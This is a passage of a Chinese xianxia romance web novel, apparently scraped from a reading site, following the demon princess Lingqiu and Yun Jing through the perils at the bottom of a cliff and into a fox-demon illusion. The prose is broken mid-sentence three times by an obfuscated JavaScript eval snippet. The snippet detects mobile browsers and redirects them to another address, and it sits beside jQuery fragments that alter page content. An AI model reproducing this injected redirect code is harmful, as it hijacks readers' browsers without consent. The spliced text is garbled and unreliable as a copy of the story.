青年负手而立,目光自她披散的发间缓缓掠过,停在那张尘与血交错的脸上,半眯着眼,嘴角勾起一抹淡笑,眼神不像在看败将,却像在观赏一幅残破却动人的画。 他就这么饶有兴趣地欣赏起她的狼狈,轻哂一声,步步逼近,俯视道:“半年不见,殿下还是这么冲动,这么……不自量力。” 灵秋仰头,直直地瞪向他,眼神如锈剑般生硬,横透着一股冷意。 她什么都没说,却又像什么都说了。那不加掩饰的厌恶与愤怒冷不丁地刺中青年,令他周身气血翻滚不休,几乎忘了自己此行的本意。 作为魔尊焱狰身边最得力的谋士,宿妄原本只是凡人。血肉之躯堕魔,他却比寻常魔族更狠戾,也更刻毒。 或许正因如此,他才能在短短三百年间从当初人人欺凌的乞儿一跃成为焱狰如今最倚重的亲信。 当初灵秋潜入仙门前,是宿妄向重方提议,为她种下血蛊。 血蛊是宿妄亲自种下的,解药也一直由他亲自来送。 阳华境历来戒备森严,原本还在猜测他会以怎样的方式出现,没想到这么快就在这万丈崖底见到了本尊。 灵秋心知宿妄不敢加害自己,她眼下最担心的是兰翘。 她万万想不到,掉下万丈崖的兰翘居然落在了宿妄手里。 灵秋对宿妄一向不假辞色,中蛊之后更视他为仇敌,生平第一次对他放软态度,终于开口道:“放了我师妹,她与魔族之事无关。” 她的声音不高,一字一顿,落在夜色中格外清晰。 宿妄挑眉,眼中闪过一丝戏谑:“殿下在仙门待得太久,是否忘了自己的身份?” 他扔给灵秋一只瓷瓶,冷眼看着她身下缓缓漫开的血迹,漠然道:“殿下,蛊虫的滋味不好受吧,半年之期已到,你还是先保住自己的命吧。” “我不会喝这解药。除非,你放了我的师妹。” 灵秋缓缓走到宿妄面前,檀口连连溢出黑血,面色惨白,却站得极稳。 她举起瓷瓶,瓶口倾斜,转眼间,透明的液体便连成一条笔直的细线,决绝倾洒向布满血污的泥地。 宿妄眸色一沉,冷道:“殿下对这位师妹还是情深义重。”他凑近灵秋,咬牙切齿,“你为她如此以命相搏,是笃定了我不会放任你不管,对吗!” “是。”灵秋毫无心虚地看着宿妄,“你为臣,我为君,父尊有令,你不敢也不能拿我的性命犯险。” “好啊。”宿妄道:“殿下果然狠心,不愧是魔尊亲封的太女殿下!” 他咬字极重,声音穿透丛林,彻底划破死一般的寂静。 “你说,若是逍遥派的人知道了殿下的真实身份,他们会作何反应啊?” 宿妄忽然轻声笑了笑,那笑意不达眼底,像蛇吐信子,森冷中透出几分疯狂的玩味。 他劈手捞起昏迷的兰翘,将她和袖中崭新的瓷瓶一并砸向灵秋。 “殿下今日敢为此人舍命,来日可要好好品味这一番深情结出的硕果!” 言罢,宿妄手中衣袖一拂,万绦柳丝随之轻晃,飘扬遮蔽住他的身影。他的半边面孔隐入黑暗,只余嘴角那抹诡笑,阴沉犹如鬼魅。 灵秋急切地察看怀中的兰翘,再抬首,眼前已是万顷苍茫的林海。 草木密集,湿气与腐味交织,再不见半分柔嫩的杨柳春色。方才发生的一切仿若一场幻梦。 瓷瓶捏在手心,被汗水和血水濡湿,光滑的白瓷变成污糟而粘黏的一片。 灵秋举起瓶子,将苦涩的药汁一饮而尽,挥动剑气割开灵脉。鲜红的血随之点点落入兰翘口中,直到见她呼吸重新变得均匀而和谐,她才终于松下一口气,随即低头一看,赫然瞧见腰间多出一只陌生的铜铃。 一定是宿妄趁她不注意系上的。 他不知在铜铃上施了什么法术,灵秋费了九牛二虎之力,死活解不开系在腰间的结,眉宇间戾气横生,转瞬便再度吐出一口血来。 铜铃悬在腰间,乍看上去再普通不过。灵秋接连用法术试探,除了宿妄设下的结界,丝毫瞧不出任何不妥。 这仿佛只是一只寻常的铜铃。 可系上这铃的是宿妄。 血蛊她服下了,这回又是什么? 灵秋紧攥住铜铃,掌心灵力溢出,杀气凌厉,却因着铃上过分牢固的结界,无论如何也无法伤它半分。 解不开,毁不掉,气得她在心里狂骂宿妄的祖宗十八代。骂了几句又突然想到或许宿妄根本没有祖宗。 凡人堕魔是冒天下之大不韪,他一向是孑然一身。 真是扫兴。 灵秋照着柳树的方向呸了一声。 世事是无常的。 云靖想着这句话,提剑猛劈向眼前粗壮似人的古藤。 丛林深处雾气沉沉,藤影如蛇,密布纠缠在身侧,疯狂舞动着蓬勃的凶意。步步皆陷,举目皆杀。 云靖咬紧牙关,身上白衫早已被红染透,左臂一道伤口翻卷见骨,鲜血直流,每动一寸便如钝刀割肉,火辣辣地疼。 天边是月色将明,脚下是妖藤满地。腥臭的汁液股股扑向鼻腔,云靖耳边忽的滑过一声尖啸,他猛一回头,只见一根碗口大小的紫藤自空中突然探出,藤上倒刺直取他眉心。 云靖闪身躲避,脚下一空,顺着斜坡翻滚而下,跌入成堆的枯枝腐叶。 咔嚓—— 烂掉的枝叶霍然碎裂,毒汁四溅,浓烟腾起。 凝霜剑被细小的妖藤紧紧缠绕着,动弹不得。云靖吐出一口血沫,卧在毒液与枯枝间,眼中倒映出漆黑天幕上盐粒般细小密集的星子。 世事是无常的。 昨日擂台上容光摄人的少女转眼间便成了万丈深渊前摇摇欲坠的秋风落叶,令人望之肝胆欲裂,仿佛随时要与她一齐下坠。 满地枯枝,滕毒密布,然而这不过是这万丈崖底,千年古林中最不值一提的小小一隅。 云靖倒在血泊中,意识渐远,却在那万顷黑暗中,忽的看见灵秋满是血污的一张脸。 “你上回说给我蜜饯,下次见面能不能带一些?” 昨日戏言一闪而过,如钉子钉死在胸口。 “大骗子……”他喃喃,“我若死了,哪里还有下次见面?” 一阵剧痛拉回他的意识,云靖紧咬着牙,陡然翻身而起。一口腥甜涌上喉头,他强行压制,凝霜腾起,怒斩向周遭藤蔓,势如排山倒海。 鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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灵秋忙道:“你怎么会在这儿?难道是闻人双双推你下来的?” 云靖走在前头,背影挺得笔直,脚步极快,像是生怕她跟上。 灵秋追了几步,见他充耳不闻,只道:“你把我的师妹还来!” 云靖头也不回,语气淡得近乎无情:“我奉仙尊之命前来寻找失踪的兰姑娘,如今既然找到,自然要带着她一并回去。” “奉命?”灵秋脚步一顿,大跨步跑到他身边,道:“我知道你一向看我不顺眼,但这和我师妹没关系,你把她还给我,否则我定会……” “杀了我?”云靖终于止住脚步,缓缓回头,对她冷笑道:“凌姑娘刚才不是就想这么做吗?” 他伸手点了点自己的心口,盯着灵秋的眼睛,语气是极轻的:“你若想抢回师妹,不如现在再出一剑。” “我那不是故意的。”灵秋咬牙,“你难道看不出,最后我刻意闪身避开你了么?” 她不知道此处滕毒是否有种名为“降智”的功效,如此明显的闪避,他竟然像完全没看见不知情一般。 灵秋心道:“有脑子的人不用想也知道,方才那一剑不过是场误会罢了。” 然而她盯着云靖,眼见他眸色如霜,显然是没什么脑子了。 傻子就是傻子,受伤是傻子,中毒是傻子,从小到大都是傻子。 灵秋叹了口气,耐着性子解释:“这林中凶阵极其诡异,像是能根据人的心境变幻形式,方才一路,我见到许多熟悉的人,无一例外全是幻象,所以一见到你便将你误当成了幻影,这才会出手。” “噢,幻影。” 四周忽然安静下来,只剩晓风拂过,树枝轻轻晃动的沙沙声。 云靖苦笑一声,抱着兰翘继续往前走去,只是这一回,步子慢了许多。 过了许久,他忽然漫不经心道:“这件事是误会,两年前你无故爽约又算什么?” 19.貌正行诡众口缄然(1) “我忘了。” 灵秋紧紧跟在他身侧,报以同样漫不经心的回应。然而话刚出口,她转念忽想,又道:“两年?明明是三年前。你不是被毒傻了吧。” 云靖低声道:“看来凌姑娘分明记得很清楚啊。” 灵秋脚下步子一顿,目光冷冽:“你诈我?” “我哪敢。”云靖转头,似笑非笑地看着她,“愿者上钩罢了。” “看来你是真的很想知道三年前的事。”灵秋煞有介事地点点头。 她见云靖果真一脸认真地看着自己,扑哧一声笑了出来。 “既然如此,我偏不告诉你。” 言罢,她趁云靖一个恍惚,飞手伸向他怀中,一把拽住兰翘的衣襟。 灵秋正想把人拖出来,手腕却忽然一紧。 云靖死死扣住她的手,表情难看极了。 灵秋自然不顾,只见她左手猛翻,掌风横聚,一击打在他的肩膀上。 云靖身形一闪,堪堪避过。他抓着灵秋的手,脚下连点数步,身子一斜,指尖流光横现,飞缠上二人手腕。 他落地站定,单手抱着兰翘,举起两人绑在一起的手晃了晃,看着灵秋挑衅一笑。 那流光一闪而过,灵秋用力扯了扯手腕,却被云靖死死牵制着,任她如何施法挣扎也纹丝不动。 两人仿佛被一道无形的锁链捆绑在一处。 灵秋怒道:“你对我做了什么?” “看来你是真的很想知道。” 云靖见她一脸怒意,面上表情反倒越发生动。 “既然如此,我偏不告诉你。” 他笑得一脸得意,言罢,不由分说地转过身去,拖着灵秋继续往前走。 “你放开我。” 灵秋被他牵着,挣脱不得。 云靖没说话,只是往前走着。密林无边,他不知道自己要走到哪去。 “你还要脸吗?” 他不答。 灵秋终于咬牙切齿:“云靖,你就是个混蛋大傻子!” 一瞬间,他像被打进泥里,又像……被拎出了雾中。 她骂他不要脸,骂他混蛋。 可她没有生疏而客气地唤他“少楼主”,更没有漫不经心地喊他“你”,五年来第一次,她清清楚楚地叫了他的名字。 云。靖。 他心口一热,如利剑穿胸,又像烈火焚烧。 不要脸…… 他当着众人随她一跃而下,还有什么脸呢?恐怕如今外界都在疯传他云靖为逍遥派的凌秋失了心,丢了命。 众口铄金,那些莫名编排的流言又会将他推向怎样的境地? 只怪他太迟钝,直到亲眼目睹她跃下万丈崖才终于如梦初醒。 朋友…… 如今想来,这两个字在他这儿简直像个笑话。 嘴角竟弯了一弯——好像那年雨中碎成粉末的桂花糕,苦得要命,却忍不住带着畅快的淋漓。 “我本来就是如此。” 他轻声回应,像是在确认,又像是在认命,头微微地垂下去,眼底翻江倒海。 她骂得难听,却也叫得……格外顺耳。 灵秋没想到有朝一日居然能听到有人亲口承认自己是混蛋加傻子。 她怔了一下,随即想到自己聪明一世,居然遭到云靖这种人的暗算,不由怒从心起,抬脚狠狠踹向他。 嘭的一声,云靖猝不及防遭受一击,整个人被踹得凌空后仰,像断了线的风筝,砸进地面,扬起一片尘土。 他左手护着兰翘,发出一声闷哼。灵秋见状正得意,未料下一刻,手上力量一牵,她自己也跟着飞出去,重重摔在云靖身上,摔得整个人眼冒金星。 大意了…… 她捂着脑袋爬起来,正想骂人,却目睹云靖猛地喷出一口黑血。 灵秋怔住,想骂的话全都卡在喉咙里。 她眼见他被毒血呛得咳嗽连连,眼中寒光凌凌,抛出一道剑气横在他脖间,翻身压制住他,不闪不避道:“这下知道疼了吧。现在放开我,我就替你解毒疗伤,否则你就在这儿自生自灭吧。” 云靖面色苍白,嘴唇发黑,血从嘴角淌下,眼神却明亮得吓人。 他笑了一声,微喘着开口,声音沙哑极了:“……你趴在我身上,趴够了没有?” 灵秋一愣,眼神瞬间冷到极致,伸手掐住他的脖子,力道又重三分,像是恨不能将他就地按进土里。 “不许顾左右而言他,现在,立刻给我解开!” 云靖咳了一声,又吐出点血,嘴角却慢慢扬起一个讥讽的弧度:“何必着急?我就是死了,你也得把我的尸身带回去。现下我只想知道,是救你的师妹要紧,还是摸我这会儿的手感更好?凌姑娘如此流连,不会已经忘了自己是来做什么的了吧?” 灵秋眼底怒火顿时烧起来,手猛地一松,眼神几乎能杀人。 “你真以为自己容貌无双,能诱惑得了我?” 她站起身理了理衣袍,冷声道:“刀剑之下,再好的皮囊也不过是一堆烂肉。虚妄皮相,本不足以乱我心。今日先将阿翘带回去,来日我一定会亲手废了你。” “废了我?” 云靖半躺在地上,身上是血,脸上是笑,眼睛一直望着灵秋,不闪不避。 “凌姑娘想废我哪里?脸吗?” “闭嘴!” 接连挑衅下,灵秋怒火横生,想也没想,转身狠狠给了他一巴掌。 啪—— 清脆的声音在林间回响。 云靖脸一偏,白嫩的皮肤上顿时泛起红痕,鲜艳的红色混在污血中间,愈发显示出欲滴的娇嫩。 他嘴角泛起殷红的血丝,眼前一黑,不受控制地栽倒下去。 沉闷的倒地声砰地炸开。 灵秋怔愣在原地。 林间的风一下静止了,灵秋站在原处,像被钉住了,脑子一片空白。 “……云靖?” 她试探着喊了一声,他没动。 她心下一惊,脚底竟然一阵发软,快步冲到他身侧,伸手去探他的脉搏。 不会这么轻易就死了吧? 老天啊,我真的不是故意的! 灵秋看了眼已经结痂的手腕,深吸一口气,挥动剑气割开了灵脉。 云靖醒来后,两人沉默地一前一后走着,一个头顶满脑袋乌云,一个脸上赫然挂着一道五指印,整片通红在白净的皮肤从颧骨一路蔓延到下颔,清晰如同火烙。 脚步踩在满地枯叶上,一左一右,发出糟糕的脆响。 风吹过来,衣袂飘起,灵秋余光扫过身侧的人,率先打破沉默:“方才根本是你活该,我警告你,若要记仇,尽管冲着我来,祸不及他人,若你敢像闻人氏那般向我身边的人下手,银霜楼上下我绝不放过。” “凌姑娘放心。”云靖头也不转,只淡淡道:“你我二人之间的债,我只能,也只会向你一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323719|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨。” “……” 两人走着,沉默得像天各一方的两座山,在外力驱使下被硬生生地逼迫着并肩前行。 四周只剩下大风呼啸而过的声音。 云靖忽然侧头,咬牙道:“你知不知道,你是这世上唯一敢打我的人。” 灵秋停下脚步,漠然看他一眼:“那是因为你活该,若你日后再敢僭越,我不仅会打你,还会亲手杀了你。” “你可以打我。” 云靖侧身稍稍凑近她,彼此四目相接,他的眼睛乌黑澄澈,在拂晓的光辉中泛出一点湿意,漂亮得过分。 他轻声道:“只是下次……不许再打脸了。脸好看。” 灵秋狠狠瞪了他一眼,偏过头去,岔开话题:“这一路走来,似乎没再见到毒滕,也没再见到幻影了。或许到了白日,阳气升腾,这万丈崖底的凶阵随之收敛,我们最好抓紧时间想办法上去。” 话音刚落,却见林中走出一高一矮两道蹒跚的身影,正是方才随他们跳下万丈崖的游观青与苏韫珩。 刚说完没有幻影。 真是说曹操曹操到。 灵秋眼神一凛,伸手拦在云靖身前。 “你体内余毒未清,照顾好阿翘。” 言罢,她劈手挥出一道剑气,猛袭向那林间二人。 游观青见状大喊一声:“凌姑娘!”紧接着挥动袖袍,无数雪白的灵符争相跃出,在空中翻卷为一方强劲的金纹阵法。 来势汹汹的剑气撞在符阵上,激起金芒乍散,如烈风溅火,发出铮铮的巨响。 眼看那锋利的剑风就要击穿阵法,没入二人身体,灵秋急忙抽剑回手,冰蓝色的剑光在空中一闪,撞在树上,轰的一声削去大片密林。 游观青气喘吁吁地收了手,疾步跑上前,唤道:“凌姑娘,云公子!你们没事吧?” 灵秋看一眼她身后拄着木棍一瘸一拐的苏韫珩,道:“你们也是奉仙尊之命来的?” 她冷笑连连:“太霄辰宫可真能胡来。” “什么奉命?”游观青丈二和尚摸不着头脑,“我们是自己跳下来的啊。” “自己跳下来?” 灵秋皱眉看向身侧的云靖,却被他生硬地避开目光。 偏巧这时,一瘸一拐的苏韫珩终于走到几人面前。 他一眼就看到了云靖脸上的巴掌印,一挑眉,故作惊讶道: “这是怎么了?天呐,凌姑娘,这不会是你打的吧?” “关你什……” “是又如何?” 灵秋与云靖的声音同时响起,前者不可置信地看向后者,完全不理解他为什么自己承认。 苏韫珩肉眼可见地沉默了一下,很快反应过来,嘴角勾起一抹笑:“啧,这一掌可真是不轻。想必……一定是云兄惹姑娘生厌了吧。” “你很得意?”云靖的声音有些低哑,却不抬眼看他。 他凑近苏韫珩,用只有两人能听到的声音,在他耳边低语道:“可惜你这辈子连得到一巴掌的机会也没有。” 苏韫珩皱眉:“你是不是有病?” 云靖看向灵秋,声音骤然几度哽咽:“他骂我。” ? 苏韫珩用看神经病的眼神盯着云靖。 灵秋白了他一眼,拽着云靖走开:“理他干嘛。” “凌姑娘!”苏韫珩见状立刻上前几步,大声道:“我为姑娘一跃而下,难道姑娘连多看我一眼也不愿吗?” 20.万丈崖底破念成执(2) 此话一出,游观青顿时朝他投去一个惊讶的眼神。 你不是脚滑才掉下来的吗? 灵秋脚步一顿,回过头来,像是在打量某个不值一提的东西,眼角挑起一抹讥诮,嘴角微扬道:“我师姐说了‘无事献殷勤非奸即盗’,况且我早就找到师妹了,苏公子跳崖与否,与我何干?与我师妹又有何干?” 为你一跃而下万丈崖,这是多么伟大的一番深情厚谊。苏韫珩自认贵为苏氏独子,肯为一个女子做到这个地步,想必这世间除去云靖那个疯子外,无人敢出其右。 一时脚滑又如何?来都来了,他不介意将这场意外包装利用一番。最好是能叫这名动天下的凌姑娘感激涕零,从此对他另眼相待。 然而苏韫珩没想到,灵秋居然完全不吃这套,不仅不吃,还当面怀疑起他的动机,口吐出这番冷漠无情的话。 苏韫珩见状还想上前,要命的是,边上从昨日起便开始莫名抽风的云靖先一步走上来,轻轻挡在灵秋身前。 他的语气轻佻带笑:“谁知道你是怎么下来的?” 云靖看一眼苏韫珩身侧的游观青,眼神如刀子般明亮锐利:“说不定真心追随凌姑娘的另有其人,你只不过跟在她身后,随她而下罢了。苏兄待游姑娘一向与旁人有别,今日该感谢这番深情厚谊的,恐怕是她吧。” “你胡说什么?”苏韫珩终于被点到逆鳞,反驳道:“我与观青绝不是那种关系!” “说够了没有?” 一旁的游观青突然开口,声音不高,却透露着分明的冷意。 她指了指苏韫珩:“你是脚滑不小心跌下来的骗子。”又指了指云靖:“你是对凌姑娘爱而不得,刻意寻死的疯子。” “你们俩谁也没比谁好到哪儿去,有什么可争的?” 游观青走到灵秋跟前,对她道:“我本是为报凌姑娘恩德才跟随跳入这万丈崖底,不想姑娘修为高强,没能帮上什么忙,实在惭愧。如今当务之急是从这崖底凶阵中脱身,方才一路,我与少主二人遇到各式迷障,变幻不同,好几次都险些丧命。好不容易与姑娘和云公子相聚,不如一起行动,互相也好有个照应。” 灵秋看了眼自己的手腕,心想自己如今中了云靖的暗算,须得与他时时绑定,有时刻为他容貌所惑的风险,此时有人在旁打岔显然不是件坏事。于是她干脆地一点头,算是应下。 四人一路走着,灵秋既不想与云靖交流,也不想搭理出身仙门世家的苏韫珩,便只和游观青说话,听她讲些人间北边的事。 三百年前老魔尊辞世,夺位之战后芙蓉妃身死,当年跟随焱狰夺位的几位魔君却叛出魔域,拥兵自重,盘踞人间以北。 虽说百年来灵秋替焱狰剿灭了多数魔域之内的旧朝叛军,他却从不提人间以北的那几位魔君,任由他们在外界作乱,自立为王。 灵秋几度提出率军讨伐,却被焱狰频频以各种理由拒绝责斥。 他的态度十分令人在意,灵秋想,北方定有当年旧事的知情人,说不定母亲死亡的真相就是焱狰的一条软肋。 可惜在魔域时她被焱狰时时暗中监视,对人间北方的了解实在乏陈可善,等到了逍遥派又忙着打擂晋级,修炼闭关,所知所晓也不过南边修士口口相传的流言。 逍遥派地处偏南,游观青算得上灵秋第一个接触到的北方修士,也是唯一一个世家之外的普通人。 “阳华仙会虽是为太霄辰宫选拔内门弟子,然而这样选拔出来的修士不出一年便会被派往北方历练,俗称‘打秋’,说白了就是一路与妖魔厮杀。” 游观青叹了口气:“这些弟子通常有去无回,所以每一年的阳华仙会,北方氏族从来不会让自家子弟参与其中。” “太霄辰宫与诸世家分庭抗礼已久,北方氏族有自己的方式绕过选拔,直接将后辈安插进太霄辰宫。氏族结盟,多为姻亲,如此代代延续,数百年间,也算得了太霄辰宫大半的话语权。” 苏韫珩不自然地轻咳一声。 游观青转头看他,却没有噤声的打算:“世家本就如此,我说的不过是众人心知肚明的实情。” “说到姻亲。”静默了一路的云靖突然开口,“我忽然想起来,苏氏与闻人氏祖上似乎也算沾亲带故吧。” 他的颊边还因游观青方才一句“爱而不得”泛着温柔而灼热的粉,看向苏韫珩的眼睛里却满含恶劣的冷意。 果然,灵秋听到这句话,立刻抬头,蹙眉看向苏韫珩。 苏韫珩立即道:“严格来说的确如此,闻人双双应当算是我的远房表妹。不过她的所作所为可与我八竿子联系不到一起,要说亲近,还得属宋氏的那个宋微澜。又是师妹,又是表妹,听说两家长辈已经开始商议亲事了。” “是么?”出乎意料的,灵秋竟然没有迁怒,她对苏韫珩道:“请苏公子再多跟我讲一讲宋氏的事。” 苏韫珩闻言立即微微一笑,凑到灵秋身边。被挤到角落里的云靖嘴角轻轻一撇,动手勾了勾缠绕在两人手腕上的隐线。 灵秋的手动了动,却没有回头。 爱而不得。爱而不得。 游观青这么堂而皇之地喊出这四个字,和他本人当众向她表白心迹又有什么不同? 可她居然无动于衷。 无动于衷! 连嫌弃和愤怒也没有。 云靖眼巴巴地等了一路,忍了一路,此刻眼前却是灵秋与苏韫珩和谐对谈的画面。 他站在原地,长睫倾覆,眼神一下子变得又轻又冷。 苏韫珩言笑晏晏,知无不言。 她果然还是喜欢温柔的类型。 他站在阴风阵阵的林间,像被主人抛弃的流浪小狗。 这光景,与香满楼前、太虚宫外何其相似,却凭空多出几分叫人难耐的酸涩。 云靖眨了眨眼,像是被风吹得眼瑟,又像强忍委屈,不肯眨下泪来。 他再一次重重地拉扯一把手上的隐线。 倘若师兄知道自己将门派中用于战斗时共通灵感的千里同心绳用来做这等用处,恐怕会和当初发现他为了和凌秋一起去找千年蛟将本命灵宝摔碎时一样怒不可遏。 可那又有什么关系呢? 云靖这一生富足顺遂,灵器仙宝取之不尽。世间一切都静卧于他掌心,予取予求、无有不应,行至今日,无疾无痛、无怨无敌,称得上一句天赐福运,万事顺心。 他这辈子,得来不易的唯有凌秋一人而已。偏偏她又是如此天纵英才、神光熠熠。偏偏这世上独她一个,三番两次,从未遂过他的意。 云靖心底忽然生出一种全然陌生的情绪,不是苦涩的酸,也并非痴心的怨。 他拿起手中的隐线,拿起又放下,手慢慢地收紧,指节也泛白。 那是从未有过的,密密滋生、蚀骨渎魂的恨。 凭什么…… 凭什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330342|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 凭什么不回头看我! 胸中情绪激动叫嚣着,鼓噪如春雷惊响。 云靖感觉自己的心一点点沉下去,鲜红的火苗逐渐染上刻毒的黑。 可就在这时—— 前面的人忽然停下脚步,回头朝他望过来。 灵秋举起自己的左手晃了晃,对他道:“还不赶紧跟上来。” 云靖心道:“她一定是因为我怀中的师妹才回头的,一定是。” 然而迎着那道微雨般清淡的目光,他终于还是轻轻挪动步子,慢悠悠地朝她走去。 “她一定是因为我怀中的师妹才回头的,一定是。” 这句话在他心底盘旋不休,那点破碎的情绪密密麻麻地缝,又细细碎碎地拆。 是否人在不知作何反应的时候就会微笑? 云靖走到灵秋面前,微微垂下头,笑得有点勉强,也有点僵。 苏韫珩看着他一副被雨淋湿的狗样,心底早已冷嘲连连。 装什么可怜? 他心思一动,开口道:“凌姑娘,坊间早有传闻,云兄对姑娘爱而不得,不料今日一见果真如此啊。” 等着被拒绝吧! 苏韫珩看向云靖,眼中冒出嘲讽的火光,眼见他果真整个人都紧绷起来。 “爱而不得?”灵秋淡淡道:“那是什么?我此生还从未体会过。想来也只有弱者才会如此。少楼主的修为的确不如我,爱而不得恐怕也不是什么新鲜事。” 她看向云靖,灵机一动:“你大概很想从我这儿学些精妙绝伦的剑招吧,否则也不会将水境中的残招记了五年。不如这样,你替我解开这手上的东西,我愿做你师父,将整套剑招传授给你,了却你爱而不得的遗憾,保管你此后打遍天下无敌手,如何?” 苏韫珩:“……” 云靖:“……” 游观青:“……” “你怎么不说话?这还不够?” 灵秋简直快被气笑了,她正想开口加码,未料云靖上前一步,什么也没说,径自牵住了她的手。 “你干嘛?” 灵秋一愣,却听见他轻声说:“没关系,跟我走吧,出去就解开。” 心底那团阴冷潮湿的情绪像是突然被谁轻轻捧起,在太阳底下晾干了。 原来她根本什么也不懂。 没有自怜的酸涩,也不再有困顿的苦厄,唯有一份劫后余生的、明朗的勇气。 既然她不懂,那他便一点一点地教过来,千回百转,无有不愿的。 云靖牵着灵秋的手走进前方林间微微透亮的光里。他感受着指尖灼热的温度,还未来得及确认真实,远处忽然传来一声尖锐的惨叫。 下一瞬,一股杀意自林中席卷而来,风声骤紧,威压如浪迎头而至。 手中一下变得空空荡荡,灵秋眉心微蹙,未作犹豫,反手朝着那杀意破空之处飞袭而去。 风停了,光碎了。 待他再抬眼,四周景象已全然不同。 天地是惨白一色,混沌一片。 灵秋站在对面,手持凝霜,神色无悲也无喜。 “你必须杀了她。”一个声音在他耳边低语,如梦如幻,似咒语摄魂。 “这是唯一拯救我们的方式。”他道。 那声音如此熟悉,如同听过千次百次。 云靖愕然抬头—— 那是他自己的声音! 21.万丈崖底破念成执(3) “不可能。” 云靖下意识举起手,这才发觉自己掌心空空,凝霜剑早已不知去处。 眼前,灵秋提起召雪,刀锋直指向他心口。她的眼神陌生而冷漠,仿佛从未认识过他。 “这到底是什么地方?” 云靖朝着虚空发问。 他记得自己明明应该在万丈崖底,手心柔软的触感明明还那样清晰。 “我是谁并不重要,重要的是她会杀你。” 那声音低沉缱绻,如水波轻荡,渐渐凝实。 云靖猛地转身,只见缥缈的雾气中,一道身影缓缓走来,步履从容、气息优雅,如同远离人间烟火的鬼魅。 他皱眉:“你是谁?” 那人渐渐走近了,穿过透而轻薄的白雾,云靖清晰看见了他的轮廓。一瞬间,他瞳孔骤缩,连呼吸都仿佛立时停滞。 那这脸,那双眼睛,侧脸那道被灵秋挥剑划伤的留疤,甚至连嘴角微翘的弧度……全都一模一样。 不,不只是声音,这幅容貌…… 他根本就是自己。 是,却又不是。 那人立在他面前,嘴角噙着意味不明的冷笑,狭长的眼睛微微上挑,眼角眉梢泛着近乎魅惑的红,金绿色的光在瞳中幽幽浮动,散发出如毒蛇吐信般危险的意味。 他头顶,雪白的尖耳从墨色中探出,在死一般静谧的空气中轻轻颤动着。身后,狐尾舒展,如云雾翻涌。 妖气氤氲,似轻纱流转,在他脚边微微游曳,张扬地宣告着他的身份。 云靖看着他,像看着一面诡异无比的镜子,镜中人似人似妖,却有着从未见过的从容与力量。 “妖物何故冒充我?” 他后退一步,试图调动灵力攻向他,灵脉却似结冻般艰涩,使不出半分法力。 “错了。”狐妖倾身向他,眼神似笑非笑,带着摄人心魄的蛊惑,“我就是你,未来的你,或者说——真实的你。” “不可能,我是人。”云靖冷笑道:“你不过是这万丈崖底凶阵创造出来的幻影罢了。” 他盘腿坐在地上,开始默念清心咒。 “你不相信我?” 狐妖抬手,轻轻朝他一点。瞬间,云靖只觉体内一阵刺痛,紧接着,陌生的妖力如潮水般自他灵台深处滚滚溢出。 他的指尖悄然化作锋利的爪,肌肤泛起深红色的纹路,如同某种烧伤般触目惊心。漆黑的瞳孔逐渐闪动出妖冶的金绿,长发披散,在无风的空间内狂舞飘荡。 云靖抬起手,骤然触及到头顶一对柔软的东西,透过眼前狐妖诡魅的瞳孔,他清晰地看到,那是一对雪白如霜的立耳。 雾色笼罩,剧烈的痛楚折磨下,那张熟悉的脸变得妖冶而魅惑,勾魂摄魄,妍丽得几近非人。 不,这不是他。 妖气,铺天盖地的妖气连同恐惧一起,自他体内源源不断地涌出。 狐妖的声音在耳边响起:“如果你不是妖,为什么会痛?为什么会怕?又为什么会变成现在这副模样?” 他指向一旁的灵秋:“你不信我,难道还不信她吗?你看着吧,看看她会怎么对你!” 言语间,召雪的利光划破雾气,执刀的人朝他步步逼近。 “……凌秋?” 云靖轻轻呼唤她的名字,下一刻,召雪毫不迟疑地捅进了他的心口。 “妖物该死。”灵秋冷漠地说。 “不……我不是,我不是妖。” 云靖握上召雪,粘稠的血顺着刀锋滑下,他任由锋利的刀一点点深深刺入血肉,一步步走到她面前,重复道:“我不是妖,不是。” 身后狐尾如天幕散开,耳边是嘈杂而喧闹的人声。四周景致一瞬转变,太霄辰宫大殿前,妖气翻涌,利爪尖牙。 灵秋看着他,眉目森冷,手中召雪寒光胜霜:“师兄,我曾深信你为人,没想到事到如今你还在狡辩。如此不知悔改,实在该死。我身为正道魁首,你我注定势不两立,今日我就要为太霄辰宫清理门户,取你性命!” 噗嗤—— 召雪落下,血溅如雨。 “不要!” 云靖捂着胸口,跪倒在地上,剧痛仿佛要将灵魂撕裂。他挣扎着,却被无形之物牢牢锁住。 空气里没有半分血腥味,方才的一切不过是场幻觉。 狐妖蹲在他面前,抬起他的下巴,声音婉转而低柔:“你终究还是害怕与她反目成仇,怕她心里从来都没有过你,哪怕是半分……” 他轻手拭去云靖眼角滑落的泪,声音一瞬变得狰狞:“可这都是真的!未来就是这样!” 凝霜剑在他手中成形,狐妖将剑递给云靖,轻声引诱:“先下手为强。” 云靖没有接。 “杀了她!”狐妖激动道:“她已经动手杀你一次了,你还在犹豫什么?” 云靖垂着头,浑身都在止不住地发抖。 幻境仿佛还未散去,他仍记得那一刀。 